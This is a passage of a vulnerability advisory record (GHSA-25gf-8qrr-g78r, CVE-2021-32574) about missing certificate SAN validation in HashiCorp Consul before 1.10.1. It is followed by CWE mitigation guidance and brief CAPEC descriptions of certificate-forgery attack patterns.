      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-19T17:36:42Z",
    "nvd_published_at": "2021-07-17T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "HashiCorp Consul before 1.10.1 (and Consul Enterprise) has Missing SSL Certificate Validation. xds does not ensure that the Subject Alternative Name of an upstream is validated.",
  "id": "GHSA-25gf-8qrr-g78r",
  "modified": "2022-08-11T20:43:48Z",
  "published": "2021-07-19T21:21:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32574"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2021-17-consul-s-envoy-tls-configuration-did-not-validate-destination-service-subject-alternative-names/26856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/consul/releases/tag/v1.10.1"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-09"
    },
    {
      "type": "WEB",
      "url": "https://www.hashicorp.com/blog/category/consul"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hashicorp Consul Missing SSL Certificate Validation"
}

Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.